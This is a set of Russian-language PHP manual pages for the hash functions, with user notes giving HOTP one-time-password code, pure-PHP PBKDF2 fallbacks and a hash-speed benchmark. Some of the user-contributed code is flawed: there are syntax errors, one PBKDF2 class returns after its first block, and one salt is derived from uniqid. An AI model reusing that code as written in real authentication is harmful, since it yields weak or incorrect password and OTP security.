torben dot egmose at gmail dot com 22-Mar-2009 11:40
HOTP Algorithm that works according to the RCF http://tools.ietf.org/html/draft-mraihi-oath-hmac-otp-04
The test cases from the RCF document the ASCII string as "123456787901234567890".
But the hex decoded to a string is "12345678901234567890".
Secret="12345678901234567890";
Count:
0 755224
1 287082
<?php
function oath_hotp($key,$counter) {

   // Convert to padded binary string
   $data = pack ('C*', $counter);
   $data = str_pad($data,8,chr(0),STR_PAD_LEFT);

   // HMAC
   return hash_hmac('sha1',$data,$key);
}

function oath_truncate($hash, $length = 6) {

   // Convert to dec
   foreach(str_split($hash,2) as $hex) {
      $hmac_result[]=hexdec($hex);
   }

   // Find offset
   $offset = $hmac_result[19] & 0xf;

   // Algorithm from RFC
   return (
         (($hmac_result[$offset+0] & 0x7f) << 24 ) |
         (($hmac_result[$offset+1] & 0xff) << 16 ) |
         (($hmac_result[$offset+2] & 0xff) << 8 ) |
         ($hmac_result[$offset+3] & 0xff)
         ) % pow(10,$length);
}

print "<pre>";
print "Compare results with:"
print " http://tools.ietf.org/html/draft-mraihi-oath-hmac-otp-04\n";
print "Count\tHash\t\t\t\t\t\tPin\n";
for($i=0;$i<10;$i++)
   print $i."\t".($a=oath_hotp("12345678901234567890",$i))
   print "\t".oath_truncate($a)."\n";
Carlos Averett(caverett*@*corecodec,net) 03-Jul-2008 03:54
Generating OATH-compliant OTP (one time passwords) results in PHP:

<?php
$otp = oath_truncate (oath_hotp ($key, $counter), $length);
function oath_hotp ($key, $counter) {
        // Counter
        $bin_counter = pack ('C*', $counter);

        // Pad to 8 chars
        if (strlen ($bin_counter) < 8) {
                $bin_counter = str_repeat (chr(0), 8 - strlen ($bin_counter)) . $bin_counter;
        }

        // HMAC
        $hash = hash_hmac ('sha1', $bin_counter, $key);
        return $hash;
}

function oath_truncate ($hash, $length = 6) {
        // The last byte is used as an offset
        $offset = hexdec (substr ($hash, 38)) & 0xf;

        // Extract the relevant part, and clear the first bit
        $hex_truncated = substr ($hash, $offset * 2, 8);
        $bin_truncated = decbin (hexdec ($hex_truncated));
        $bin_truncated[0] = '0';
        $dec_truncated = bindec ($bin_truncated);

        return substr ($dec_truncated, 0 - $length);
}
?>


Инициализация инкрементального контекста хеширования

  • « hash_hmac
  • hash_pbkdf2 »
  • PHP Manual
  • Функции Hash
  • Инициализация инкрементального контекста хеширования

hash_init

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_init — Инициализация инкрементального контекста хеширования

Описание

hash_init(
string $algo,
int $flags = 0,
string $key = "",
array $options = []
): HashContext

Список параметров

algo

Имя выбранного алгоритма хеширования (например, "md5", "sha256", "haval160,4" и т.д.). Весь список поддерживаемых алгоритмов можно посмотреть в описании функции hash_algos().

flags

Необязательные настройки для генерации хеша, в настоящее время поддерживается только один вариант: HASH_HMAC. При этом параметр key должен быть указан.

key

Если HASH_HMAC указан в параметре flags, то в этом параметре нужно предоставить общий секретный ключ, который будет использоваться с методом хеширования HMAC.

options

Множество опций для различных алгоритмов хеширования. В настоящее время в вариантах MurmurHash поддерживается только параметр "seed".

Возвращаемые значения

Возвращает контекст хеширования для использования в функциях hash_update(), hash_update_stream(), hash_update_file() и hash_final().

Ошибки

Выбрасывает исключение ValueError, если параметр algo неизвестен или не является криптографической хеш-функцией или если параметр key не задан.

Список изменений

Версия | Описание
8.1.0 | Добавлен параметр options.
8.0.0 | Теперь выбрасывает исключение ValueError, если параметр algo неизвестен или не является криптографической хеш-функцией или если параметр key не задан; ранее возвращалось значение false и выдавалась ошибка уровня E_WARNING. emitted.
7.2.0 | Запрещено использование некриптографических хеш-функций (adler32, crc32, crc32b, fnv132, fnv1a32, fnv164, fnv1a64, joaat) с константой HASH_HMAC.
7.2.0 | Возвращает HashContext, а не ресурс.

Примеры

Пример #1 Пример инкрементального хеширования

<?php
$hash = hash('sha256', 'Наглый коричневый лисёнок прыгает вокруг ленивой собаки.');

$ctx = hash_init('sha256');

hash_update($ctx, 'Наглый коричневый лисёнок ');
hash_update($ctx, 'прыгает вокруг ленивой собаки.');

$incremental_hash = hash_final($ctx);

echo $incremental_hash, PHP_EOL;
var_dump($hash === $incremental_hash);
?>

Результат выполнения данного примера:

199f52fc9f2492c64449ed96003f135f8ea428e353e50c40b0c1a16b9c16f571
bool(true)

Смотрите также

  • hash() - Генерирует хеш-код (подпись сообщения)
  • hash_algos() - Возвращает список зарегистрированных алгоритмов хеширования
  • hash_file() - Генерация хеш-значения, используя содержимое заданного файла
  • hash_hmac() - Генерация хеш-кода на основе ключа, используя метод HMAC
  • hash_hmac_file() - Генерация хеш-кода на основе ключа, используя метод HMAC и содержимое полученного файла

User Contributed Notes

There are no user contributed notes for this page.


Формирования ключа PBKDF2 для заданных входных данных

  • « hash_init
  • hash_update_file »
  • PHP Manual
  • Функции Hash
  • Формирования ключа PBKDF2 для заданных входных данных

hash_pbkdf2

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

hash_pbkdf2 — Формирования ключа PBKDF2 для заданных входных данных

Описание

hash_pbkdf2(
string $algo,
string $password,
string $salt,
int $iterations,
int $length = 0,
bool $binary = false
): string

Список параметров

algo

Имя выбранного хеширующего алгоритма (например, md5, sha256, haval160,4 и т.д.) Список поддерживаемых алгоритмов можно посмотреть в описании функции hash_algos().

password

Пароль, используемый для формирования.

salt

Соль, используемая при формировании ключа. Значение необходимо генерировать случайным образом.

iterations

Количество итераций для формирования ключа.

length

Длина генерируемой строки. Если параметр binary задан как true, то этот параметр равен количеству байт в генерируемом ключе. Если binary установлен как false, то длина ключа в байтах будет в два раза меньше, так как каждый байт ключа будет возвращён в виде двух символов шестнадцатеричной системы (0-F).

Если задано как 0, то используется весь вывод заданного алгоритма.

binary

Если установлено true, то вывод будет представлять из себя необработанные бинарные данные, а если false, то вывод будет представлен в виде строки шестнадцатеричных цифр в нижнем регистре.

Возвращаемые значения

Возвращаемая строка содержит сформированный ключ в виде строки шестнадцатеричных чисел в нижнем регистре. Но если параметр binary установлен как true, то будут возвращены сырые бинарные данные.

Ошибки

Выбрасывается исключение ValueError, если заданный алгоритм некорректен, параметр iterations меньше или равен 0, параметр length меньше чем 0 или если salt очень длинный (больше чем INT_MAX - 4).

Список изменений

Версия | Описание
8.0.0 | Теперь выбрасывается исключение ValueError в случае возникновения ошибки; ранее возвращалось значение false и выдавалась ошибка уровня E_WARNING.
7.2.0 | Запрещено использование некриптографических функций (adler32, crc32, crc32b, fnv132, fnv1a32, fnv164, fnv1a64, joaat).

Примеры

Пример #1 Пример простого использования hash_pbkdf2()

<?php
$password = "password";
$iterations = 600000;

// Создание криптографически безопасной случайной соли с помощью random_bytes()
$salt = random_bytes(16);

$hash = hash_pbkdf2("sha256", $password, $salt, $iterations, 20);
var_dump($hash);

// для необработанного двоичного файла параметр $length должен быть уменьшен вдвое для получения аналогичных результатов
$hash = hash_pbkdf2("sha256", $password, $salt, $iterations, 10, true);
var_dump(bin2hex($hash));?>

Результатом выполнения данного примера будет что-то подобное:

string(20) "120fb6cffcf8b32c43e7"
string(20) "120fb6cffcf8b32c43e7"

Примечания

Предостережение

Метод PBKDF2 может быть использован для хеширования паролей в целях их хранения. Однако стоит помнить, что для этих целей гораздо лучше использовать password_hash() или crypt() с CRYPT_BLOWFISH.

Смотрите также

  • password_hash() - Создаёт хеш пароля
  • hash_hkdf() - Формирования ключа HKDF для заданных входных данных
  • sodium_crypto_pwhash() - Получает ключ из пароля, используя Argon2

User Contributed Notes

php - ober-mail - de 04-Feb-2021 12:57
If you are wondering what the requirements are for the salt, have a look at the RFC[1]:

"The salt parameter should be a random string containing at least 64 bits of entropy. That means when generated from a function like *mcrypt_create_iv*, at least 8 bytes long. But for salts that consist of only *a-zA-Z0-9* (or are base_64 encoded), the minimum length should be at least 11 characters. It should be generated random for each password that's hashed, and stored along side the generated key."

[1] https://wiki.php.net/rfc/hash_pbkdf2
php . ober-mail . de 04-Feb-2021 12:56
If you are wondering what the requirements are for the salt, have a look at the RFC[1]:

"The salt parameter should be a random string containing at least 64 bits of entropy. That means when generated from a function like *mcrypt_create_iv*, at least 8 bytes long. But for salts that consist of only *a-zA-Z0-9* (or are base_64 encoded), the minimum length should be at least 11 characters. It should be generated random for each password that's hashed, and stored along side the generated key."

[1] https://wiki.php.net/rfc/hash_pbkdf2
php at ober-mail dot de 04-Feb-2021 12:55
If you are wondering what the requirements are for the salt, have a look at the RFC[1]:

"The salt parameter should be a random string containing at least 64 bits of entropy. That means when generated from a function like *mcrypt_create_iv*, at least 8 bytes long. But for salts that consist of only *a-zA-Z0-9* (or are base_64 encoded), the minimum length should be at least 11 characters. It should be generated random for each password that's hashed, and stored along side the generated key."

[1] https://wiki.php.net/rfc/hash_pbkdf2
Yahe 19-Oct-2019 06:24
On an error hash_pbkdf2() will not just raise an E_WARNING but it will also return FALSE.
gfilippakis at sleed dot gr 02-Jul-2019 12:16
This is a very basic implementation of Rfc2898DeriveBytes class with only 2 of its constructors in case someone else finds it useful.

class Rfc2898DeriveBytes
{
    private $textToHash;
    private $saltByteSize;

    public $salt;

    public function __construct($arg1, $arg2)
    {
        if (is_string($arg1) && is_integer($arg2)) {
            $this->textToHash = $arg1;
            $this->saltByteSize = $arg2;
            $this->salt = substr(
                hex2bin(sha1(uniqid('', true))),
                0,
                $this->saltByteSize
            );
        } elseif (is_string($arg1) && is_string($arg2)) {
            $this->textToHash = $arg1;
            $this->salt = $arg2;
        }
    }

    public function getBytes($size)
    {
        return hash_pbkdf2(
            "sha1",
            $this->textToHash,
            $this->salt,
            1000,
            $size,
            true
        );
    }
}
Flimm 12-Jan-2018 04:56
Note that if $raw_output is false, then the output will be encoded using lowercase hexits. Some other systems (such as Django 2.0) use base64 instead. So if you're trying to generate hash strings that are compatible with those systems, you can use the base64_encode function, like this:

<?php

echo base64_encode( hash_pbkdf2( "sha256", "example password", "BbirbJq1C1G7", 100000, 0, true ) );

?>
clarence.pchy(at)gmail.com 06-Sep-2016 08:40
Please pay great attention to the **$length** parameter! It is exactly the **return string length**, NOT the length of raw binary hash result.

I had a big problem about this --
I thought that `hash_pbkdf2(...false)` should equals to `bin2hex(hash_pbkdf2(...true))` just like `md5($x)` equals `bin2hex(md5($x, true))`. However I was wrong:

hash_pbkdf2('sha256', '123456', 'abc', 10000, 50, false); // returns string(50) "584bc5b41005169f1fa15177edb78d75f9846afc466a4bae05"
hash_pbkdf2('sha256', '123456', 'abc', 10000, 50, true); // returns string(50) "XKW??Qw?u??j?FjK???BFW?YpG    ?mp.g2?`;N?"
bin2hex(hash_pbkdf2('sha256', '123456', 'abc', 10000, 50, true)); // returns string(100) "584bc5b41005169f1fa15177edb78d75f9846afc466a4bae05119c82424657c81b5970471f098a6d702e6732b7603b194efe"

So I add such a note. Hope it will help someone else like me.
nimasdj [AT] yahoo [DOT] com 05-Jan-2016 12:08
There is a mistake in the class provided by Binod Kumar Luitel (http://php.net/manual/en/function.hash-pbkdf2.php#113488):
this line:
return bin2hex(substr($this->output, 0, $this->key_length));
must be changed to:
return substr(bin2hex($this->output), 0, $this->key_length);
Trevor Herselman 11-Nov-2015 01:45
This is a light-weight drop-in replacement for PHP's hash_pbkdf2(); written for compatibility with older versions of PHP.
Written, formatted and tested by myself, but using code and ideas based on the following:
https://defuse.ca/php-pbkdf2.htm
https://github.com/rchouinard/hash_pbkdf2-compat/blob/master/src/hash_pbkdf2.php
https://gist.github.com/rsky/5104756

My main goals:
1) Maximum compatibility with PHP hash_pbkdf2(), ie. a drop-in replacement function
2) Minimum code size/bloat
3) Easy to copy/paste
4) No classes, and not encapsulated in a class! Why write a class when a simple function will do?
5) Eliminate calls to sprintf(). (used by other examples for the error reporting)
6) No other dependencies, ie. extra required functions

<?php
if (!function_exists('hash_pbkdf2'))
{
    function hash_pbkdf2($algo, $password, $salt, $count, $length = 0, $raw_output = false)
    {
        if (!in_array(strtolower($algo), hash_algos())) trigger_error(__FUNCTION__ . '(): Unknown hashing algorithm: ' . $algo, E_USER_WARNING);
        if (!is_numeric($count)) trigger_error(__FUNCTION__ . '(): expects parameter 4 to be long, ' . gettype($count) . ' given', E_USER_WARNING);
        if (!is_numeric($length)) trigger_error(__FUNCTION__ . '(): expects parameter 5 to be long, ' . gettype($length) . ' given', E_USER_WARNING);
        if ($count <= 0) trigger_error(__FUNCTION__ . '(): Iterations must be a positive integer: ' . $count, E_USER_WARNING);
        if ($length < 0) trigger_error(__FUNCTION__ . '(): Length must be greater than or equal to 0: ' . $length, E_USER_WARNING);

        $output = '';
        $block_count = $length ? ceil($length / strlen(hash($algo, '', $raw_output))) : 1;
        for ($i = 1; $i <= $block_count; $i++)
        {
            $last = $xorsum = hash_hmac($algo, $salt . pack('N', $i), $password, true);
            for ($j = 1; $j < $count; $j++)
            {
                $xorsum ^= ($last = hash_hmac($algo, $last, $password, true));
            }
            $output .= $xorsum;
        }

        if (!$raw_output) $output = bin2hex($output);
        return $length ? substr($output, 0, $length) : $output;
    }
}
Peter 21-Nov-2013 03:03
See also https://github.com/rchouinard/hash_pbkdf2-compat for a compatibility function
does dot not at matter dot org 25-Oct-2013 03:30
this snippet was posted over a year ago on a dutch PHP community: (reference/source: http://www.phphulp.nl/php/script/beveiliging/pbkdf2-een-veilige-manier-om-wachtwoorden-op-te-slaan/1956/pbkdf2php/1757/)

<?php

/**
 * @author Chris Horeweg
 * @package Security_Tools
 */

function pbkdf2($password, $salt, $algorithm = 'sha512', $count = 20000, $key_length = 128, $raw_output = false)
{
    if(!in_array($algorithm, hash_algos(), true)) {
        exit('pbkdf2: Hash algoritme is niet geinstalleerd op het systeem.');
    }

    if($count <= 0 || $key_length <= 0) {
        $count = 20000;
        $key_length = 128;
    }

    $hash_length = strlen(hash($algorithm, "", true));
    $block_count = ceil($key_length / $hash_length);

    $output = "";
    for($i = 1; $i <= $block_count; $i++) {
        $last = $salt . pack("N", $i);
        $last = $xorsum = hash_hmac($algorithm, $last, $password, true);
        for ($j = 1; $j < $count; $j++) {
            $xorsum ^= ($last = hash_hmac($algorithm, $last, $password, true));
        }
        $output .= $xorsum;
    }

    if($raw_output) {
        return substr($output, 0, $key_length);
    }
    else {
        return base64_encode(substr($output, 0, $key_length));
    }
}
Binod Kumar Luitel 17-Oct-2013 10:25
People who wants pure PHP implementation of the function, i.e. who don't have PHP 5.5 installed within their server, can use the following implementation. Nothing has been modified so far as from reference https://defuse.ca/php-pbkdf2.htm but the OOP lovers might like this.
For more information about PBKDF2 see: http://en.wikipedia.org/wiki/PBKDF2

<?php
/**
 * PBKDF2 key derivation function as defined by RSA's PKCS #5: https://www.ietf.org/rfc/rfc2898.txt
 * $algorithm - The hash algorithm to use. Recommended: SHA256
 * $password - The password.
 * $salt - A salt that is unique to the password.
 * $count - Iteration count. Higher is better, but slower. Recommended: At least 1000.
 * $key_length - The length of the derived key in bytes.
 * $raw_output - If true, the key is returned in raw binary format. Hex encoded otherwise.
 * Returns: A $key_length-byte key derived from the password and salt.
 */
if (!function_exists("hash_pbkdf2")) {
    function hash_pbkdf2($algorithm, $password, $salt, $count, $key_length, $raw_output = false) {

        class pbkdf2 {
            public $algorithm;
            public $password;
            public $salt;
            public $count;
            public $key_length;
            public $raw_output;

            private $hash_length;
            private $output         = "";

            public function __construct($data = null)
            {
                if ($data != null) {
                    $this->init($data);
                }
            }

            public function init($data)
            {
                $this->algorithm  = $data["algorithm"];
                $this->password   = $data["password"];
                $this->salt       = $data["salt"];
                $this->count      = $data["count"];
                $this->key_length = $data["key_length"];
                $this->raw_output = $data["raw_output"];
            }

            public function hash()
            {
                $this->algorithm = strtolower($this->algorithm);
                if(!in_array($this->algorithm, hash_algos(), true))
                    throw new Exception('PBKDF2 ERROR: Invalid hash algorithm.');

                if($this->count <= 0 || $this->key_length <= 0)
                    throw new Exception('PBKDF2 ERROR: Invalid parameters.');

                $this->hash_length = strlen(hash($this->algorithm, "", true));
                $block_count = ceil($this->key_length / $this->hash_length);
                for ($i = 1; $i <= $block_count; $i++) {
                    // $i encoded as 4 bytes, big endian.
                    $last = $this->salt . pack("N", $i);
                    // first iteration
                    $last = $xorsum = hash_hmac($this->algorithm, $last, $this->password, true);
                    // perform the other $this->count - 1 iterations
                    for ($j = 1; $j < $this->count; $j++) {
                        $xorsum ^= ($last = hash_hmac($this->algorithm, $last, $this->password, true));
                    }
                    $this->output .= $xorsum;
                    if($this->raw_output)
                        return substr($this->output, 0, $this->key_length);
                    else
                        return bin2hex(substr($this->output, 0, $this->key_length));
                }
            }
        }

        $data = array('algorithm' => $algorithm, 'password' => $password, 'salt' => $salt, 'count' => $count, 'key_length' => $key_length, 'raw_output' => $raw_output);
        try {
            $pbkdf2 = new pbkdf2($data);
            return $pbkdf2->hash();
        } catch (Exception $e) {
            throw $e;
        }
    }
}
Anonymous 13-Jul-2013 04:29
Sadly this function was added in PHP 5.5 but many webservers just provide PHP 5.3. But there exists a pure PHP implementation (found here: https://defuse.ca/php-pbkdf2.htm).
I took this implementation, put it into a class with comments for PHPDoc and added a switch so that the native PHP function is used if available.

Feel free to use it!
http://pastebin.com/f5PDq735
(Posted on pastebin.com since the text would have been too long)


Добавляет данные из файла в активный контекст хеширования

  • « hash_pbkdf2
  • hash_update_stream »
  • PHP Manual
  • Функции Hash
  • Добавляет данные из файла в активный контекст хеширования

hash_update_file

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_update_file — Добавляет данные из файла в активный контекст хеширования

Описание

hash_update_file(HashContext $context, string $filename, ?resource $stream_context = null): bool

Список параметров

context

Контекст хеширования, возвращённый hash_init().

filename

Имя или URL файла для хеширования; Поддерживаются обработчики fopen.

stream_context

Контекст потока, возвращённый stream_context_create().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | stream_context теперь допускает значение null.
7.2.0 | Принимает HashContext, а не ресурс.

Смотрите также

  • hash_init() - Инициализация инкрементального контекста хеширования
  • hash_update() - Добавляет данные в активный контекст хеширования
  • hash_update_stream() - Добавляет данные из открытого потока в активный контекст хеширования
  • hash_final() - Завершает инкрементальное хеширование и возвращает результат в виде хеш-кода
  • hash() - Генерирует хеш-код (подпись сообщения)
  • hash_file() - Генерация хеш-значения, используя содержимое заданного файла

User Contributed Notes

There are no user contributed notes for this page.


Добавляет данные из открытого потока в активный контекст хеширования

  • « hash_update_file
  • hash_update »
  • PHP Manual
  • Функции Hash
  • Добавляет данные из открытого потока в активный контекст хеширования

hash_update_stream

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_update_stream — Добавляет данные из открытого потока в активный контекст хеширования

Описание

hash_update_stream(HashContext $context, resource $stream, int $length = -1): int

Список параметров

context

Контекст хеширования, возвращаемый hash_init().

stream

Дескриптор открытого файла, возвращаемый любой функцией создания потока.

length

Максимальное число символов для копирования из stream в контекст хеширования.

Возвращаемые значения

Фактическое количество байт, добавленное в контекст хеширования из stream.

Список изменений

Версия | Описание
7.2.0 | Принимает HashContext, а не ресурс.

Примеры

Пример #1 Пример использования hash_update_stream()

<?php
$fp = tmpfile();
fwrite($fp, 'прыгает вокруг ленивой собаки.');

rewind($fp);

$ctx = hash_init('sha256');
hash_update($ctx, 'Наглый коричневый лисёнок ');

hash_update_stream($ctx, $fp);
echo hash_final($ctx);
?>

Результат выполнения данного примера:

199f52fc9f2492c64449ed96003f135f8ea428e353e50c40b0c1a16b9c16f571

Смотрите также

  • hash_init() - Инициализация инкрементального контекста хеширования
  • hash_update() - Добавляет данные в активный контекст хеширования
  • hash_final() - Завершает инкрементальное хеширование и возвращает результат в виде хеш-кода
  • hash() - Генерирует хеш-код (подпись сообщения)
  • hash_file() - Генерация хеш-значения, используя содержимое заданного файла

User Contributed Notes

qiuty at mail dot ru 31-May-2021 05:44
This can be obvious, but hash_update_stream() move file pointer. So, use rewind(), if you plan to read the file after hashing.


Добавляет данные в активный контекст хеширования

  • « hash_update_stream
  • hash »
  • PHP Manual
  • Функции Hash
  • Добавляет данные в активный контекст хеширования

hash_update

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_update — Добавляет данные в активный контекст хеширования

Описание

hash_update(HashContext $context, string $data): bool

Список параметров

context

Контекст хеширования, возвращаемый hash_init().

data

Сообщение, которое должно быть включено в хеш.

Возвращаемые значения

Возвращает true.

Список изменений

Версия | Описание
7.2.0 | Принимает HashContext, а не ресурс.

Смотрите также

  • hash_init() - Инициализация инкрементального контекста хеширования
  • hash_update_file() - Добавляет данные из файла в активный контекст хеширования
  • hash_update_stream() - Добавляет данные из открытого потока в активный контекст хеширования
  • hash_final() - Завершает инкрементальное хеширование и возвращает результат в виде хеш-кода

User Contributed Notes

Dainichi 24-Jul-2006 06:19
A simple example on incremental file hashing:

$fp = fopen($file, "r");
$ctx = hash_init('sha256');
while (!feof($fp)) {
    $buffer = fgets($fp, 65536);
    hash_update($ctx, $buffer);
}
$hash = hash_final($ctx, true);
fclose($fp);

While incremental hashing is quite slow, it's the easiest way to hash
- parts of large files: I.e., a 700MB avi video uses first x bytes to store metadata, so in order to hash the avi's data only, you have to fseek to data start and use incremental hashing
- streaming data if php just proxies the data
- whenever it's inadequate or impossible to store the data being hashed into memory (i.e. because of their size) or on disc.


Генерирует хеш-код (подпись сообщения)

  • « hash_update
  • Mcrypt »
  • PHP Manual
  • Функции Hash
  • Генерирует хеш-код (подпись сообщения)

hash

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash — Генерирует хеш-код (подпись сообщения)

Описание

hash(
string $algo,
string $data,
bool $binary = false,
array $options = []
): string

Список параметров

algo

Имя выбранного алгоритма хеширования (например, "md5", "sha256", "haval160,4" и т.д.). Список поддерживаемых алгоритмов смотрите в hash_algos().

data

Сообщение для хеширования.

binary

Когда установлено в true, выводит необработанные двоичные данные. При false выводит данные в шестнадцатеричной кодировке в нижнем регистре.

options

Множество опций для различных алгоритмов хеширования. В настоящее время в вариантах MurmurHash поддерживается только параметр "seed".

Возвращаемые значения

Возвращает строку содержащую вычисленный хеш-код в шестнадцатеричной кодировке в нижнем регистре. Если binary задан как true, то возвращается хеш-код в виде бинарных данных.

Список изменений

Версия | Описание
8.1.0 | Добавлен параметр options.
8.0.0 | Функция hash() теперь выбрасывает исключение ValueError, если алгоритм algo неизвестен; ранее вместо этого возвращалось значение false.

Примеры

Пример #1 Пример использования hash()

<?php
echo hash('sha256', 'Наглый коричневый лисёнок прыгает вокруг ленивой собаки.');
?>

Результат выполнения данного примера:

199f52fc9f2492c64449ed96003f135f8ea428e353e50c40b0c1a16b9c16f571

Смотрите также

  • hash_file() - Генерация хеш-значения, используя содержимое заданного файла
  • hash_hmac() - Генерация хеш-кода на основе ключа, используя метод HMAC
  • hash_init() - Инициализация инкрементального контекста хеширования
  • md5() - Возвращает MD5-хеш строки
  • sha1() - Возвращает SHA1-хеш строки

User Contributed Notes

Anonymous 16-Apr-2020 04:19
<?PHP
function allhash($d){
    foreach(hash_algos() as $v){
        $r[] = "$v\t Length: ".strlen(hash($v, $d));
    }
    return $r;
}

print_r(allhash(1));
?>
output:

Array
(
    [0] => md2   Length: 32
    [1] => md4   Length: 32
    [2] => md5   Length: 32
    [3] => sha1  Length: 40
    [4] => sha224        Length: 56
    [5] => sha256        Length: 64
    [6] => sha384        Length: 96
    [7] => sha512/224    Length: 56
    [8] => sha512/256    Length: 64
    [9] => sha512        Length: 128
    [10] => sha3-224     Length: 56
    [11] => sha3-256     Length: 64
    [12] => sha3-384     Length: 96
    [13] => sha3-512     Length: 128
    [14] => ripemd128    Length: 32
    [15] => ripemd160    Length: 40
    [16] => ripemd256    Length: 64
    [17] => ripemd320    Length: 80
    [18] => whirlpool    Length: 128
    [19] => tiger128,3   Length: 32
    [20] => tiger160,3   Length: 40
    [21] => tiger192,3   Length: 48
    [22] => tiger128,4   Length: 32
    [23] => tiger160,4   Length: 40
    [24] => tiger192,4   Length: 48
    [25] => snefru       Length: 64
    [26] => snefru256    Length: 64
    [27] => gost         Length: 64
    [28] => gost-crypto  Length: 64
    [29] => adler32      Length: 8
    [30] => crc32        Length: 8
    [31] => crc32b       Length: 8
    [32] => crc32c       Length: 8
    [33] => fnv132       Length: 8
    [34] => fnv1a32      Length: 8
    [35] => fnv164       Length: 16
    [36] => fnv1a64      Length: 16
    [37] => joaat        Length: 8
    [38] => haval128,3   Length: 32
    [39] => haval160,3   Length: 40
    [40] => haval192,3   Length: 48
    [41] => haval224,3   Length: 56
    [42] => haval256,3   Length: 64
    [43] => haval128,4   Length: 32
    [44] => haval160,4   Length: 40
    [45] => haval192,4   Length: 48
    [46] => haval224,4   Length: 56
    [47] => haval256,4   Length: 64
    [48] => haval128,5   Length: 32
    [49] => haval160,5   Length: 40
    [50] => haval192,5   Length: 48
    [51] => haval224,5   Length: 56
    [52] => haval256,5   Length: 64
)
synnus at gmail dot com 15-Dec-2019 12:07
<?php

/* PHP 7.4

n°   hash  results
1.   adler32 (hex)       555.992 ms
2.   adler32 (raw)       556.945 ms
3.   fnv132 (raw)        1107.931 ms
4.   fnv1a64 (raw)       1107.931 ms
5.   fnv164 (raw)        1108.169 ms
6.   fnv1a32 (raw)       1108.884 ms
7.   fnv164 (hex)        1108.884 ms
8.   fnv1a64 (hex)       1109.123 ms
9.   fnv132 (hex)        1116.991 ms
10.  fnv1a32 (hex)       1147.985 ms
11.  tiger192,3 (raw)    1523.017 ms
12.  tiger192,3 (hex)    1532.077 ms
13.  tiger128,3 (hex)    1538.038 ms
14.  tiger128,3 (raw)    1546.144 ms
15.  md4 (raw)           1554.965 ms
16.  md4 (hex)           1565.933 ms
17.  tiger160,3 (raw)    1574.039 ms
18.  tiger160,3 (hex)    1588.106 ms
19.  joaat (hex)         1661.777 ms
20.  joaat (raw)         1662.969 ms
21.  md5 (raw)           1822.948 ms
22.  md5 (hex)           1842.975 ms
23.  tiger160,4 (hex)    1996.994 ms
24.  tiger160,4 (raw)    2007.961 ms
25.  tiger128,4 (raw)    2035.14 ms
26.  tiger192,4 (raw)    2043.962 ms
27.  tiger128,4 (hex)    2065.896 ms
28.  tiger192,4 (hex)    2070.903 ms
29.  sha1 (hex)          2254.009 ms
30.  sha1 (raw)          2326.011 ms
31.  sha3-224 (hex)      2768.039 ms
32.  sha3-224 (raw)      2783.06 ms
33.  sha512 (hex)        2936.124 ms
34.  sha512 (raw)        2943.992 ms
35.  sha3-256 (hex)      2945.899 ms
36.  sha3-256 (raw)      2970.933 ms
37.  sha512/224 (raw)    2990.007 ms
38.  sha384 (raw)        3006.935 ms
39.  sha512/224 (hex)    3010.988 ms
40.  sha512/256 (raw)    3024.101 ms
41.  sha384 (hex)        3036.975 ms
42.  ripemd256 (raw)     3068.923 ms
43.  ripemd256 (hex)     3072.023 ms
44.  ripemd128 (raw)     3077.03 ms
45.  ripemd128 (hex)     3123.998 ms
46.  sha512/256 (hex)    3184.08 ms
47.  haval256,3 (hex)    3671.884 ms
48.  haval224,3 (hex)    3776.073 ms
49.  sha3-384 (hex)      3777.98 ms
50.  haval128,3 (raw)    3823.041 ms
51.  haval128,3 (hex)    3829.002 ms
52.  sha3-384 (raw)      3835.916 ms
53.  haval256,3 (raw)    3852.128 ms
54.  haval224,3 (raw)    3855.943 ms
55.  haval160,3 (raw)    3859.996 ms
56.  haval160,3 (hex)    3862.857 ms
57.  haval192,3 (raw)    3892.898 ms
58.  haval192,3 (hex)    3922.939 ms
59.  crc32c (hex)        4080.057 ms
60.  ripemd160 (hex)     4091.024 ms
61.  ripemd160 (raw)     4094.123 ms
62.  ripemd320 (raw)     4114.866 ms
63.  crc32b (hex)        4116.058 ms
64.  crc32 (raw)         4118.919 ms
65.  ripemd320 (hex)     4175.186 ms
66.  crc32c (raw)        4180.908 ms
67.  crc32 (hex)         4194.974 ms
68.  crc32b (raw)        4208.803 ms
69.  sha224 (hex)        4735.946 ms
70.  sha256 (raw)        4753.112 ms
71.  sha256 (hex)        4761.934 ms
72.  sha224 (raw)        4762.887 ms
73.  haval192,4 (raw)    5304.098 ms
74.  haval160,4 (raw)    5308.151 ms
75.  haval128,4 (raw)    5323.886 ms
76.  haval192,4 (hex)    5346.059 ms
77.  haval128,4 (hex)    5351.066 ms
78.  haval256,4 (hex)    5367.04 ms
79.  haval256,4 (raw)    5378.007 ms
80.  haval224,4 (raw)    5398.988 ms
81.  haval224,4 (hex)    5413.055 ms
82.  sha3-512 (raw)      5460.023 ms
83.  sha3-512 (hex)      5527.973 ms
84.  haval160,4 (hex)    5529.88 ms
85.  haval192,5 (hex)    6403.923 ms
86.  haval160,5 (raw)    6499.052 ms
87.  haval128,5 (raw)    6513.833 ms
88.  haval160,5 (hex)    6540.06 ms
89.  haval128,5 (hex)    6541.013 ms
90.  haval192,5 (raw)    6566.047 ms
91.  haval224,5 (raw)    6567.001 ms
92.  haval256,5 (hex)    6577.014 ms
93.  haval224,5 (hex)    6598.949 ms
94.  haval256,5 (raw)    6598.949 ms
95.  whirlpool (raw)     9627.103 ms
96.  whirlpool (hex)     9634.017 ms
97.  gost (raw)          18457.889 ms
98.  gost-crypto (raw)   18479.824 ms
99.  gost (hex)          18527.03 ms
100.  gost-crypto (hex)  18530.13 ms
101.  snefru256 (hex)    36260.843 ms
102.  snefru256 (raw)    36325.931 ms
103.  snefru (hex)       36480.903 ms
104.  snefru (raw)       36496.877 ms
105.  md2 (raw)          184617.996 ms
106.  md2 (hex)          185398.101 ms

*/
?>
Ricardo Striquer (ricardophp yohoocombr) 21-Sep-2018 04:46
